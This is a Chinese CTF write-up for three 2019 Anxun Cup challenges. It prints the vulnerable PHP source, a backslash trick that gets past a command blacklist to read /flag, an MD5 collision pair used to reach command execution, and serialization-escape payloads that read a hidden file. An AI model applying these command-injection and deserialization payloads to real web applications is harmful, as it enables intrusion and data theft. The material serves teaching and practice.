2019 安洵杯部分题解
1.easy_web
img参数可控可以读文件,文件名是两次base64加密+一次hex加密 ,读到源码为
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
考md5的强碰撞和怎么绕过上面正则读flag,strings打印可打印的字符,\连接命令常用于命令很长时连接,rev从右往左读
//GET传参
img=&cmd=strings /flag cmd=ca\t /flag cmd=rev /flag 都可以
//POST传参
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
2.easy_serialize_php
源码如下
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
phpinfo里面的auto_append_file的值为d0g3_f1ag.php,所以读其中内容,auto_append_file是用来对页面底端加载对应文件, auto_prepend_file是用来对页面开始加载对应文件。
通过构造的payload经过filter函数,利用置换为空,实现字符串逃逸 ,效果如下
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:4:"cccc";s:4:"cccc";} //这两个都可以,本质都一样
3.funney_php
打开文件如下,逆回去就行
<?php
$miwen="=Z2KqkyJnu1IKMIIHgyJDO1GBkRGCWIFWqxFSEHFXS0C/NxC80GB54mC9DQA0RGZ";
function encode($str){
$str1=array();
$str1=unpack("C*",$str);
for($_0=0;$_0<count($str1);$_0++){
$_c=$str1[$_0];
$_=$_.$_c;
}
$_d=array();
for($_1=0;$_1<strlen($_);$_1++){
$_d[$_1]=substr($_,$_1,1);
$_e=ord($_d[$_1])+$_1;
$_f=chr($_e);
$__=$__.$_f;
if($__%100==0)
$__=base64_encode($__);
}
$__=strrev(str_rot13(base64_encode($__)));
return $__;
}
$anwser=encode($str);
print($anwser);
?>
解密
<?php
error_reporting(0);
$miwen="=Z2KqkyJnu1IKMIIHgyJDO1GBkRGCWIFWqxFSEHFXS0C/NxC80GB54mC9DQA0RGZ";
function decode($str){
$__ = base64_decode(str_rot13(strrev($str)));
for ($i=0; $i < strlen($str); $i++) {
$_.=chr(ord($__[$i])-$i);
}
return $_;
}
var_dump(decode($miwen)); //得到flag的acsii码
for i in '102 108 97 103 123 101 97 115 121 95 101 110 99 111 100 101 125'.split():
print(chr(int(i)), end='') //得到flag